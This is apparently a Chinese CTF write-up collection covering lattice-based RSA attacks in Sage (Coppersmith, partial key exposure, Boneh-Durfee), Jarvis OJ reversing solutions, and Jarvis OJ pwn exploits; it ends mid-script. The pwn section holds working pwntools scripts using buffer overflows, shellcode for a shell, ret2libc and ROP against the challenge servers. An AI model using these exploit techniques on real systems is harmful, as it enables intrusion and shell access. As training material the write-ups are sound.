          # transform shortest vector in polynomial    
          new_pol = 0
          for ii in range(nn):
              new_pol += x**ii * BB[0, ii] / XX**ii
          
          # factor polynomial
          potential_roots = new_pol.roots()
          print "potential roots:", potential_roots
          
          # test roots
          roots = []
          for root in potential_roots:
              if root[0].is_integer():
                  result = polZ(ZZ(root[0]))
                  if gcd(modulus, result) >= modulus^beta:
                      roots.append(ZZ(root[0]))
          return roots
          
          
      # RSA gen options (for the demo)
      length_N = 1024  # size of the modulus
      Kbits = 72      # size of the root
      e = 3
      N = 0x7c3139d3be9a691abdf3ff49c712fcb84ba39bbd2189bb98d04e04d2d7cc086c9d31b06fdf828aaeeb3765e1ab8ea41a3f1b8c73b80a498f1e2eaad42a1ac7b8e54e705cd1e3e4a39940f9bdcd16d4b42ab71a826955cc78450d6915663c82ae80fd2f64b7e3a70f2b188b85a738759eeb0688dfa22525bbbe92d7934763445L
      ZmodN = Zmod(N);
          
      C = 0x20084d9c4fa81d903437a9fabea4a2ad025a00ddc961e4fcd0f52ff9ec750702c109ce0188ae96e540a5c3dcf55013ced9ee37ad9547240fc8773f81fbb509b0b8ab24ed0288a6e1f997b5c0b196236bc8da2df9cce77c559492963eeafbbe4f5a9cb18098bfac87a1e179b26f60948fb72327acc0675890009a04697b76073L
      msg = 0xb90f972f73ebb3952b3a8e50233f783732478d874795b44c33f685caf7637f4cd0c90cf3a599e1a01e84a28459220b31a490fd1892df58000000000000000000
      P.<x> = PolynomialRing(ZmodN) #, implementation='NTL')
      pol = (msg + x)^e - C
      dd = pol.degree()
          
      # Tweak those
      beta = 1                                # b = N
      epsilon = beta / 7                      # <= beta / 7
      mm = ceil(beta**2 / (dd * epsilon))     # optimized value
      tt = floor(dd * mm * ((1/beta) - 1))    # optimized value
      XX = ceil(N**((beta**2/dd) - epsilon))  # optimized value
          
      # Coppersmith
      start_time = time.time()
      roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)
          
      # output
      print "\n# Solutions"
      print "we found:", str(roots)
      print("in: %s seconds " % (time.time() - start_time))
      print "\n"
          
      
  • 部分私钥泄露

    • 例子
      /*
      [+]n=0x291b24eae63660849a91b7122663814918ae91d62e3431163c4f47ecdbf92c59c9c430bbcc9443e4ff3dedbe60b1c06f383771bf628cdd36e649aa0c96db4addac4885071b651d2b1ae4e131ae3c115f1a59b828999ca7af8f235b75ad5b757680249eaa9b531ec1edbf9204417f17df08ec550893ed36523fcfef7fb4b2415dL
      [+]e=3
      [+]m=random.getrandbits(512)
      [+]c=pow(m,e,n)=0x623dc16f9047da92278d94fe3cabbd89db4f8c4c612ac55a439df31e368133d697cb08a571e2aad2a194800a433bc00940967441bb7e0d30bfc0599c55aeefc4af8be67ffaac307b65a2096863ca87c6aad615535814758212baae7328ac1ae9bce9f39a52456852c4c0b9779edbb19016872f516e2be9fab463f3b405e25beL
      [+]d=invmod(e,(p-1)*(q-1))
      [+]d&((1<<512)-1)=0x91d03d35338acebcf703991efd4b3f9c88e2f022568c31a410a33062d3e3e24571dc3537e21741e6b1c9eba127db0a768842d79a3197dca5b86e2cd509cd3b93L
      */
          
      known_bits = 512
      e = 3
      X = var('X')
      N=0x291b24eae63660849a91b7122663814918ae91d62e3431163c4f47ecdbf92c59c9c430bbcc9443e4ff3dedbe60b1c06f383771bf628cdd36e649aa0c96db4addac4885071b651d2b1ae4e131ae3c115f1a59b828999ca7af8f235b75ad5b757680249eaa9b531ec1edbf9204417f17df08ec550893ed36523fcfef7fb4b2415d
      d0 = 0x91d03d35338acebcf703991efd4b3f9c88e2f022568c31a410a33062d3e3e24571dc3537e21741e6b1c9eba127db0a768842d79a3197dca5b86e2cd509cd3b93
      P.<x> = PolynomialRing(Zmod(N))
      for k in xrange(1, e+1):
          results = solve_mod([e * d0 * X - k * X * (N - X + 1) + k * N == X], 2 ** 512)
          
          for m in results:
              f = x * 2 ** known_bits + ZZ(m[0])
              f = f.monic()
              roots = f.small_roots(X = 1, beta=0.3)
          
              if roots:
                  x0 = roots[0]
                  p = gcd(2 ** known_bits * x0 + ZZ(m[0]), N)
                  print '[+] Found factorization!'
                  print 'p =', ZZ(p)
                  print 'q =', N / ZZ(p)
                  break
      n=0x291b24eae63660849a91b7122663814918ae91d62e3431163c4f47ecdbf92c59c9c430bbcc9443e4ff3dedbe60b1c06f383771bf628cdd36e649aa0c96db4addac4885071b651d2b1ae4e131ae3c115f1a59b828999ca7af8f235b75ad5b757680249eaa9b531ec1edbf9204417f17df08ec550893ed36523fcfef7fb4b2415d
      p = 4369408607185874842987791687972458181281635894126489505104950532427588844072160412371716367300194382551703650763840526184308340422066926730909955032516327
      q = 6606303039610996668393006981258443682930645126368365403476569537191826726070101133886617447839914797821331788273937106747740172175833966059802001454391579
      e = 3
      phin = (p-1)*(q-1)
      d = inverse_mod(e,phin)
      cipher = 0x623dc16f9047da92278d94fe3cabbd89db4f8c4c612ac55a439df31e368133d697cb08a571e2aad2a194800a433bc00940967441bb7e0d30bfc0599c55aeefc4af8be67ffaac307b65a2096863ca87c6aad615535814758212baae7328ac1ae9bce9f39a52456852c4c0b9779edbb19016872f516e2be9fab463f3b405e25be
      print(d)
      flag = pow(cipher,d,n)
      flag = hex(int(flag))[2:-1]
      print(flag)
          
      
  • Coppersmith’s short-pad attack

    • 例子
      [+]n=0xc9f2c02d0ce22b192b5a046f8311b3eb470394ef228bbe8bc31f2939e3d7472a62eea2468c06b7d7de3a155a2e5a10c98143ede2fdf2f60fe5d65c9ba9fa26f5f7d05591201c76765599fb35f13e00a5b089fd4215c57b1453aaefc911a73c9f39003153af5e4a2e882a1c6c02d0024a6b0dede6c159a65b0bfe5c57b616127L
      [+]e=3
      [+]m=random.getrandbits(512)
      [+]c=pow(m,e,n)=0xb6046b56183fcc80d8a7c5dbc1f39176e736e2054255002abe1947a6e51fb7c37bdd689235613aec0e2a2651fade4837b968d4d6396b908a407f35e742065a773499f3bcd6111f2a1d8b65a3c79c9d3b20d681b9bf8cb2f26d2c528bca82e76d45ec734647cb13ca1a327e88173a64839bd4d8e576427600c86e7bc7224832cL
      [+]x=pow(m+1,e,n)=0xb590cc6da005f5bae916d26dca52f3f8e4c6c77d3d24df9f1f6e4e1ef1e58dc3b2bb0571810f5f27b019be2a768a392057c83006cbb12363b9661089d3fae650017c64d218ebe2b48b2ae91128d7613e6e51fabb94e7aaaba01d711d40ddac122683060ca5416ff0a00fa7f043f834d3989f8240b677a0cdda107832abe56c4L
          
      import gmpy2
      def getM2(a,b,c1,c2,n):
          a3 = pow(a,3,n)
          b3 = pow(b,3,n)
          first = c1-a3*c2+2*b3
          first = first % n
          second = 3*b*(a3*c2-b3)
          second = second % n
          third = second*gmpy2.invert(first,n)
          third = third % n
          fourth = (third+b)*gmpy2.invert(a,n)
          return fourth % n
      n=0xc9f2c02d0ce22b192b5a046f8311b3eb470394ef228bbe8bc31f2939e3d7472a62eea2468c06b7d7de3a155a2e5a10c98143ede2fdf2f60fe5d65c9ba9fa26f5f7d05591201c76765599fb35f13e00a5b089fd4215c57b1453aaefc911a73c9f39003153af5e4a2e882a1c6c02d0024a6b0dede6c159a65b0bfe5c57b616127L
      e=3
      c1=0xb6046b56183fcc80d8a7c5dbc1f39176e736e2054255002abe1947a6e51fb7c37bdd689235613aec0e2a2651fade4837b968d4d6396b908a407f35e742065a773499f3bcd6111f2a1d8b65a3c79c9d3b20d681b9bf8cb2f26d2c528bca82e76d45ec734647cb13ca1a327e88173a64839bd4d8e576427600c86e7bc7224832cL
      c2=0xb590cc6da005f5bae916d26dca52f3f8e4c6c77d3d24df9f1f6e4e1ef1e58dc3b2bb0571810f5f27b019be2a768a392057c83006cbb12363b9661089d3fae650017c64d218ebe2b48b2ae91128d7613e6e51fabb94e7aaaba01d711d40ddac122683060ca5416ff0a00fa7f043f834d3989f8240b677a0cdda107832abe56c4L
      padding1 = 0
      padding2 = 1
      m = getM2(1,padding1-padding2,c1,c2,n)-padding2
      print(hex(m))
          
      
  • Boneh and Durfee attack

    • 例子
      /*
      [+]n=0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L
      [+]d=random.getrandbits(1024*0.270)
      [+]e=invmod(d,phin)
      [+]hex(e)=0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL
      [+]m=random.getrandbits(512)
      [+]c=pow(m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866cL
      */
          
      import time
          
      strict = False
          
      helpful_only = True
      dimension_min = 7 # stop removing if lattice reaches that dimension
          
      def helpful_vectors(BB, modulus):
          nothelpful = 0
          for ii in range(BB.dimensions()[0]):
              if BB[ii,ii] >= modulus:
                  nothelpful += 1
          
          print nothelpful, "/", BB.dimensions()[0], " vectors are not helpful"
          
      # display matrix picture with 0 and X
      def matrix_overview(BB, bound):
          for ii in range(BB.dimensions()[0]):
              a = ('%02d ' % ii)
              for jj in range(BB.dimensions()[1]):
                  a += '0' if BB[ii,jj] == 0 else 'X'
                  if BB.dimensions()[0] < 60:
                      a += ' '
              if BB[ii, ii] >= bound:
                  a += '~'
              print a
          
      # tries to remove unhelpful vectors
      # we start at current = n-1 (last vector)
      def remove_unhelpful(BB, monomials, bound, current):
          # end of our recursive function
          if current == -1 or BB.dimensions()[0] <= dimension_min:
              return BB
          
          # we start by checking from the end
          for ii in range(current, -1, -1):
              # if it is unhelpful:
              if BB[ii, ii] >= bound:
                  affected_vectors = 0
                  affected_vector_index = 0
                  # let's check if it affects other vectors
                  for jj in range(ii + 1, BB.dimensions()[0]):
                      # if another vector is affected:
                      # we increase the count
                      if BB[jj, ii] != 0:
                          affected_vectors += 1
                          affected_vector_index = jj
          
                  # level:0
                  # if no other vectors end up affected
                  # we remove it
                  if affected_vectors == 0:
                      print "* removing unhelpful vector", ii
                      BB = BB.delete_columns([ii])
                      BB = BB.delete_rows([ii])
                      monomials.pop(ii)
                      BB = remove_unhelpful(BB, monomials, bound, ii-1)
                      return BB
          
                  # level:1
                  # if just one was affected we check
                  # if it is affecting someone else
                  elif affected_vectors == 1:
                      affected_deeper = True
                      for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                          # if it is affecting even one vector
                          # we give up on this one
                          if BB[kk, affected_vector_index] != 0:
                              affected_deeper = False
                      # remove both it if no other vector was affected and
                      # this helpful vector is not helpful enough
                      # compared to our unhelpful one
                      if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                          print "* removing unhelpful vectors", ii, "and", affected_vector_index
                          BB = BB.delete_columns([affected_vector_index, ii])
                          BB = BB.delete_rows([affected_vector_index, ii])
                          monomials.pop(affected_vector_index)
                          monomials.pop(ii)
                          BB = remove_unhelpful(BB, monomials, bound, ii-1)
                          return BB
          # nothing happened
          return BB
          
      """ 
      Returns:
      * 0,0   if it fails
      * -1,-1 if `strict=true`, and determinant doesn't bound
      * x0,y0 the solutions of `pol`
      """
      def boneh_durfee(pol, modulus, mm, tt, XX, YY):
          """
          Boneh and Durfee revisited by Herrmann and May
              
          finds a solution if:
          * d < N^delta
          * |x| < e^delta
          * |y| < e^0.5
          whenever delta < 1 - sqrt(2)/2 ~ 0.292
          """
          
          # substitution (Herrman and May)
          PR.<u, x, y> = PolynomialRing(ZZ)
          Q = PR.quotient(x*y + 1 - u) # u = xy + 1
          polZ = Q(pol).lift()
          
          UU = XX*YY + 1
          
          # x-shifts
          gg = []
          for kk in range(mm + 1):
              for ii in range(mm - kk + 1):
                  xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
                  gg.append(xshift)
          gg.sort()
          
          # x-shifts list of monomials
          monomials = []
          for polynomial in gg:
              for monomial in polynomial.monomials():
                  if monomial not in monomials:
                      monomials.append(monomial)
          monomials.sort()
              
          # y-shifts (selected by Herrman and May)
          for jj in range(1, tt + 1):
              for kk in range(floor(mm/tt) * jj, mm + 1):
                  yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
                  yshift = Q(yshift).lift()
                  gg.append(yshift) # substitution
              
          # y-shifts list of monomials
          for jj in range(1, tt + 1):
              for kk in range(floor(mm/tt) * jj, mm + 1):
                  monomials.append(u^kk * y^jj)
          
          # construct lattice B
          nn = len(monomials)
          BB = Matrix(ZZ, nn)
          for ii in range(nn):
              BB[ii, 0] = gg[ii](0, 0, 0)
              for jj in range(1, ii + 1):
                  if monomials[jj] in gg[ii].monomials():
                      BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
          
          # Prototype to reduce the lattice
          if helpful_only:
              # automatically remove
              BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
              # reset dimension
              nn = BB.dimensions()[0]
              if nn == 0:
                  print "failure"
                  return 0,0
          
          # check if vectors are helpful
          if debug:
              helpful_vectors(BB, modulus^mm)
              
          # check if determinant is correctly bounded
          det = BB.det()
          bound = modulus^(mm*nn)
          if det >= bound:
              print "We do not have det < bound. Solutions might not be found."
              print "Try with highers m and t."
              if debug:
                  diff = (log(det) - log(bound)) / log(2)
                  print "size det(L) - size e^(m*n) = ", floor(diff)
              if strict:
                  return -1, -1
          else:
              print "det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)"
          
          # display the lattice basis
          if debug:
              matrix_overview(BB, modulus^mm)
          
          # LLL
          if debug:
              print "optimizing basis of the lattice via LLL, this can take a long time"
          
          BB = BB.LLL()
          
          if debug:
              print "LLL is done!"
          
          # transform vector i & j -> polynomials 1 & 2
          if debug:
              print "looking for independent vectors in the lattice"
          found_polynomials = False
              
          for pol1_idx in range(nn - 1):
              for pol2_idx in range(pol1_idx + 1, nn):
                  # for i and j, create the two polynomials
                  PR.<w,z> = PolynomialRing(ZZ)
                  pol1 = pol2 = 0
                  for jj in range(nn):
                      pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                      pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
          
                  # resultant
                  PR.<q> = PolynomialRing(ZZ)
                  rr = pol1.resultant(pol2)
          
                  # are these good polynomials?
                  if rr.is_zero() or rr.monomials() == [1]:
                      continue
                  else:
                      print "found them, using vectors", pol1_idx, "and", pol2_idx
                      found_polynomials = True
                      break
              if found_polynomials:
                  break
          
          if not found_polynomials:
              print "no independant vectors could be found. This should very rarely happen..."
              return 0, 0
              
          rr = rr(q, q)
          
          # solutions
          soly = rr.roots()
          
          if len(soly) == 0:
              print "Your prediction (delta) is too small"
              return 0, 0
          
          soly = soly[0][0]
          ss = pol1(q, soly)
          solx = ss.roots()[0][0]
          
          #
          return solx, soly
          
      def example():
          #
          # The problem to solve (edit the following values)
          #
          
          # the modulus
          N = 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27
          # the public exponent
          e = 0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bb
          
          # the hypothesis on the private exponent (the theoretical maximum is 0.292)
          delta = .18 # this means that d < N^delta
          
          #
          # Lattice (tweak those values)
          #
          
          # you should tweak this (after a first run), (e.g. increment it until a solution is found)
          m = 4 # size of the lattice (bigger the better/slower)
          
          # you need to be a lattice master to tweak these
          t = int((1-2*delta) * m)  # optimization from Herrmann and May
          X = 2*floor(N^delta)  # this _might_ be too much
          Y = floor(N^(1/2))    # correct if p, q are ~ same size
          
          #
          # Don't touch anything below
          #
          
          # Problem put in equation
          P.<x,y> = PolynomialRing(ZZ)
          A = int((N+1)/2)
          pol = 1 + x * (A + y)
          
          #
          # Find the solutions!
          #
          
          # Checking bounds
          if debug:
              print "=== checking values ==="
              print "* delta:", delta
              print "* delta < 0.292", delta < 0.292
              print "* size of e:", int(log(e)/log(2))
              print "* size of N:", int(log(N)/log(2))
              print "* m:", m, ", t:", t
          
          # boneh_durfee
          if debug:
              print "=== running algorithm ==="
              start_time = time.time()
          
          solx, soly = boneh_durfee(pol, e, m, t, X, Y)
          
          # found a solution?
          if solx > 0:
              print "=== solution found ==="
              if False:
                  print "x:", solx
                  print "y:", soly
          
              d = int(pol(solx, soly) / e)
              print "private key found:", d
          else:
              print "=== no solution was found ==="
          
          if debug:
              print("=== %s seconds ===" % (time.time() - start_time))
          
      if __name__ == "__main__":
          example()
          
      
>

Jarvis OJ-从Reverse到去世

2019年2月12日 08:00

Jarvis OJ-从Reverse到去世

  • FindKey

    pyc逆向

    uncompyle得到.py

    # uncompyle6 version 3.2.5
    # Python bytecode 2.7 (62211)
    # Decompiled from: Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) 
    # [GCC 7.3.0]
    # Embedded file name: findkey
    # Compiled at: 2016-04-30 17:54:18
    import sys
    lookup = [
     196, 153, 149, 206, 17, 221, 10, 217, 167, 18, 36, 135, 103, 61, 111, 31, 92, 152, 21, 228, 105, 191, 173, 41, 2, 245, 23, 144, 1, 246, 89, 178, 182, 119, 38, 85, 48, 226, 165, 241, 166, 214, 71, 90, 151, 3, 109, 169, 150, 224, 69, 156, 158, 57, 181, 29, 200, 37, 51, 252, 227, 93, 65, 82, 66, 80, 170, 77, 49, 177, 81, 94, 202, 107, 25, 73, 148, 98, 129, 231, 212, 14, 84, 121, 174, 171, 64, 180, 233, 74, 140, 242, 75, 104, 253, 44, 39, 87, 86, 27, 68, 22, 55, 76, 35, 248, 96, 5, 56, 20, 161, 213, 238, 220, 72, 100, 247, 8, 63, 249, 145, 243, 155, 222, 122, 32, 43, 186, 0, 102, 216, 126, 15, 42, 115, 138, 240, 147, 229, 204, 117, 223, 141, 159, 131, 232, 124, 254, 60, 116, 46, 113, 79, 16, 128, 6, 251, 40, 205, 137, 199, 83, 54, 188, 19, 184, 201, 110, 255, 26, 91, 211, 132, 160, 168, 154, 185, 183, 244, 78, 33, 123, 28, 59, 12, 210, 218, 47, 163, 215, 209, 108, 235, 237, 118, 101, 24, 234, 106, 143, 88, 9, 136, 95, 30, 193, 176, 225, 198, 197, 194, 239, 134, 162, 192, 11, 70, 58, 187, 50, 67, 236, 230, 13, 99, 190, 208, 207, 7, 53, 219, 203, 62, 114, 127, 125, 164, 179, 175, 112, 172, 250, 133, 130, 52, 189, 97, 146, 34, 157, 120, 195, 45, 4, 142, 139]
    pwda = [
     188, 155, 11, 58, 251, 208, 204, 202, 150, 120, 206, 237, 114, 92, 126, 6, 42]
    pwdb = [53, 222, 230, 35, 67, 248, 226, 216, 17, 209, 32, 2, 181, 200, 171, 60, 108]
    flag = raw_input('Input your Key:').strip()
    if len(flag) != 17:
        print 'Wrong Key!!'
        sys.exit(1)
    flag = flag[::-1]
    for i in range(0, len(flag)):
        if ord(flag[i]) + pwda[i] & 255 != lookup[i + pwdb[i]]:
            print 'Wrong Key!!'
            sys.exit(1)
      
    print 'Congratulations!!'
    # okay decompiling findkey.pyc
      
    
    lookup = [
     196, 153, 149, 206, 17, 221, 10, 217, 167, 18, 36, 135, 103, 61, 111, 31, 92, 152, 21, 228, 105, 191, 173, 41, 2, 245, 23, 144, 1, 246, 89, 178, 182, 119, 38, 85, 48, 226, 165, 241, 166, 214, 71, 90, 151, 3, 109, 169, 150, 224, 69, 156, 158, 57, 181, 29, 200, 37, 51, 252, 227, 93, 65, 82, 66, 80, 170, 77, 49, 177, 81, 94, 202, 107, 25, 73, 148, 98, 129, 231, 212, 14, 84, 121, 174, 171, 64, 180, 233, 74, 140, 242, 75, 104, 253, 44, 39, 87, 86, 27, 68, 22, 55, 76, 35, 248, 96, 5, 56, 20, 161, 213, 238, 220, 72, 100, 247, 8, 63, 249, 145, 243, 155, 222, 122, 32, 43, 186, 0, 102, 216, 126, 15, 42, 115, 138, 240, 147, 229, 204, 117, 223, 141, 159, 131, 232, 124, 254, 60, 116, 46, 113, 79, 16, 128, 6, 251, 40, 205, 137, 199, 83, 54, 188, 19, 184, 201, 110, 255, 26, 91, 211, 132, 160, 168, 154, 185, 183, 244, 78, 33, 123, 28, 59, 12, 210, 218, 47, 163, 215, 209, 108, 235, 237, 118, 101, 24, 234, 106, 143, 88, 9, 136, 95, 30, 193, 176, 225, 198, 197, 194, 239, 134, 162, 192, 11, 70, 58, 187, 50, 67, 236, 230, 13, 99, 190, 208, 207, 7, 53, 219, 203, 62, 114, 127, 125, 164, 179, 175, 112, 172, 250, 133, 130, 52, 189, 97, 146, 34, 157, 120, 195, 45, 4, 142, 139]
    pwda = [
     188, 155, 11, 58, 251, 208, 204, 202, 150, 120, 206, 237, 114, 92, 126, 6, 42]
    pwdb = [53, 222, 230, 35, 67, 248, 226, 216, 17, 209, 32, 2, 181, 200, 171, 60, 108]
    flag=""
    for i in range(0, 17):
         flag += chr(lookup[i + pwdb[i]]-pwda[i] & 255)
    flag = flag[::-1]
    print flag
    

    PCTF{PyC_Cr4ck3r}

  • 软件密码破解-1

    扔到IDA Pro里发现有一堆函数没法看

    扔OD里

    先查找一波看看有没有重要的字符串

    1

    定位到’‘你赢了’‘,往上翻可以看到一堆比较,应该是关键函数

    2

    在01021C53断,数据窗口跟随CTF_100_.011977F8

    3

    输入的数据在ebx,eax=ebx

    ecx=CTF_100.011977F8-ebx=CTF_100_.011977F8-eax=

    dl=ecx+eax=CTF_100_.011977F8

    CTF_100_.011977F8是x28, 0x57, 0x64, 0x6B, 0x93, 0x8F, 0x65, 0x51, 0xE3, 0x53, 0xE4, 0x4E, 0x1A, 0xFF

    每次循环将eax中取出一位和CTF_100_.011977F8中的一位异或,然后eax+1,eax可看作下标

    循环结束后比较异或后每一位的值

    异或后的值应为0x1B, 0x1C, 0x17, 0x46, 0xF4, 0xFD, 0x20, 0x30, 0xB7, 0x0C, 0x8E, 0x7E, 0x78, 0xDE

    a = [0x28, 0x57, 0x64, 0x6B, 0x93, 0x8F, 0x65, 0x51, 0xE3, 0x53, 0xE4, 0x4E, 0x1A, 0xFF]
    b = [0x1B, 0x1C, 0x17, 0x46, 0xF4, 0xFD, 0x20, 0x30, 0xB7, 0x0C, 0x8E, 0x7E, 0x78, 0xDE]
    flag = ""
    for i,j in zip(a,b):
        flag += chr(i ^ j)
    print flag
    

    flag{3Ks-grEaT_j0b!}

  • [61dctf]stheasy

    4

    看一下8049AE0和8049B15

    5

    直接写脚本

    a = "lk2j9Gh}AgfY4ds-a6QW1#k5ER_T[cvLbV7nOm3ZeX{CMt8SZo]U"
    b = [0x48,0x5D,0x8D,0x24,0x84,0x27,0x99,0x9F,0x54,0x18,0x1E,0x69,0x7E,0x33,0x15,0x72,0x8D,0x33,0x24,0x63,0x21,0x54,0x0C,0x78,0x78,0x78,0x78,0x78,0x1b]
    flag = ""
    for i in b:
        flag += a[i/3 - 2]
    print flag
    

    kctf{YoU_hAVe-GOt-fLg_233333}

  • DD - Hello

    6

    其他函数都没啥用,俺寻思这是关键函数

    v2根据strat和sub_100000C90的地址计算

    a = [0x41,0x10,0x11,0x11,0x1B,0x0A,0x64,0x67,0x6A,0x68,0x62,0x68,0x6E,0x67,0x68,0x6B,0x62,0x3D,0x65,0x6A,0x6A,0x3D,0x68,0x4,0x5,0x8,0x3,0x2,0x2,0x55,0x8,0x5D,0x61,0x55,0x0A,0x5F,0x0D,0x5D,0x61,0x32,0x17,0x1D,0x19,0x1F,0x18,0x20,0x4,0x2,0x12,0x16,0x1E,0x54,0x20,0x13,0x14]
    v2 = (0x100000CB0-0x100000C90>>2)^a[0]
    flag = ""
    for i in range(55):
        flag += chr((a[i]-2) ^ v2)
        v2 += 1
    print flag
    

    DDCTF-5943293119a845e9bbdbde5a369c1f50@didichuxing.com

>

Jarvis OJ-从Pwn到去世

2019年2月12日 08:00

Jarvis OJ-从Pwn到去世

  • Tell Me Something

    from pwn import *
    sh = remote("pwn.jarvisoj.com",9876)
    payload = 'a'*136 + p64(0x0000000000400620) 
    sh.recvuntil("message:\n")
    sh.sendline(payload)
    print(sh.recv())
    #PCTF{This_is_J4st_Begin}
    
  • Test Your Memory

     from pwn import *
     sh = remote("pwn2.jarvisoj.com",9876)
     elf =ELF("./memory") 
     win_func_addr = elf.symbols['win_func']
     catFlag_addr = 0x080487E0
     padding = 'a' * (0x13 + 0x4)
     payload = padding
     payload += p32(win_func_addr) + p32(0x08048677) + p32(catFlag_addr)
       
     sh.sendline(payload)
     print(sh.recv())
     print(sh.recv())
     #CTF{332e294fb7aeeaf0e1c7703a29304343}
    
  • Smashes

     from pwn import *
     r = remote('pwn.jarvisoj.com',9877)
     flag_addr = 0x400d20
     payload = 'a' * 0x218 + p64(flag_addr)
     #payload = p64(0x400d21) * 1000
     r.sendline(payload)
     r.interactive()
     #PCTF{57dErr_Smasher_good_work!}
    
  • [XMAN]level0

    64位文件

    12

    在read处溢出,调用callsystem

    buf大小为0x80,填充buf,覆盖rbp,改vulnerable_function的返回地址

    from pwn import *
    r = remote('pwn2.jarvisoj.com', 9881)
    call = p64(0x400596)
    payload = 'a'*0x88 + call
    r.sendline(payload)
    r.interactive()
    

    13

    CTF{713ca3944e92180e0ef03171981dcd41}

  • [XMAN]level1

    14

    在read处溢出,前面输出buf的地址

    没有system函数

    15

    没有开启NX,可以用shellcode

    buf的大小为0x88,输入shellcode,填充buf,覆盖ebp,把返回地址改为buf的地址

    from pwn import *
    r = remote('pwn2.jarvisoj.com', 9877)
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    shellcode = asm(shellcraft.sh())
    a = r.recvline()[14: -2]
    buf = int(a,16)
    payload = shellcode + 'a'*(0x88+0x4-len(shellcode)) + p32(buf)
    r.sendline(payload)
    r.interactive()
      
    

    16

    CTF{82c2aa534a9dede9c3a0045d0fec8617}

  • [XMAN]level2

    在read处溢出,有system函数

    查找有没有/bin/sh

    18

    可以构造system(“/bin/sh”)

    填充buf,覆盖ebp,把返回地址改为system的地址,设置system的返回地址,传参给system

    from pwn import *
    r = remote('pwn2.jarvisoj.com',9878)
    system =p32(0x8048320)
    binsh = p32(0x804a024)
    payload = 'a'*(0x88+4) + system + p32(0) + binsh
    r.sendline(payload)
    r.interactive()
    #CTF{1759d0cbd854c54ffa886cd9df3a3d52}
    

    19

  • [XMAN]level2(x64)

     from pwn import *
     r = remote('pwn2.jarvisoj.com', 9882)
     sys_addr = 0x4004C0
     pop_rdi_ret = 0x4006b3
     binsh = 0x600A90
     padding = 'a' * (0x80 + 0x8)
     payload = padding + p64(pop_rdi_ret) + p64(binsh) + p64(sys_addr)
     r.sendline(payload)
     r.interacctive()
     #CTF{081ecc7c8d658409eb43358dcc1cf446}
    
  • [XMAN]level3

    21

    开了NX,给出libc,考虑ret2libc

    22

    read处存在溢出

    两次溢出,第一次溢出调用write,打印出一个函数的真实地址,通过这个地址和该函数在libc中的偏移地址计算libc基址,最终得到system的真实地址,第二次溢出执行system(“/bin/sh”)

       from pwn import *
         
       r = remote("pwn2.jarvisoj.com",9879)
       elf = ELF("./level3")
       libc = ELF("./libc-2.19.so")
       write_plt = elf.plt["write"]
       libc_start_got = elf.got['__libc_start_main']
       func = elf.symbols["vulnerable_function"]
       system_libc = libc.symbols["system"]
       binsh_libc = libc.search("/bin/sh").next()
       libc_start_libc = libc.symbols["__libc_start_main"]
       padding = 'a' * (0x88 + 0x4)
       payload1 = padding + p32(write_plt) + p32(func) + p32(1)+p32(libc_start_got)+p32(4) 
       r.recvuntil("Input:\n")
       r.sendline(payload1)
         
       leak_addr = u32(r.recv(4))
       libc_base = leak_addr - libc_start_libc
       system_addr = libc_base + system_libc
       binsh_addr = libc_base + binsh_libc
         
       payload2 = padding + p32(system_addr) + p32(func) + p32(binsh_addr)
       r.recvuntil("Input:\n")
       r.sendline(payload2)
       r.interactive()
       #CTF{d85346df5770f56f69025bc3f5f1d3d0}
    
  • [XMAN]level3(x64)

     from pwn import *
     r = remote('pwn2.jarvisoj.com', 9883)
     elf = ELF('./level3_x64')
     libc = ELF('./libc-2.19.so')
       
     pwn_addr = 0x4005E6
     sys_libc = libc.symbols['system']
     write_libc = libc.symbols['write']
     binsh_libc = libc.search('/bin/sh').next()
       
     write_plt = elf.plt['write']
     write_got = elf.got['write']
       
     pop_rdi_ret = 0x4006b3
     pop_rsi_p_r_ret = 0x4006b1
     padding = 'a' * (0x80 + 0x8)
       
     payload = padding
     payload += p64(pop_rdi_ret) + p64(1)
     payload += p64(pop_rsi_p_r_ret) + p64(write_got) + p64(8)
     payload += p64(write_plt)
     payload += p64(pwn_addr)
       
     r.recvuntil('Input:\n')
     r.sendline(payload)
     leak_addr = u64(r.recv(8))
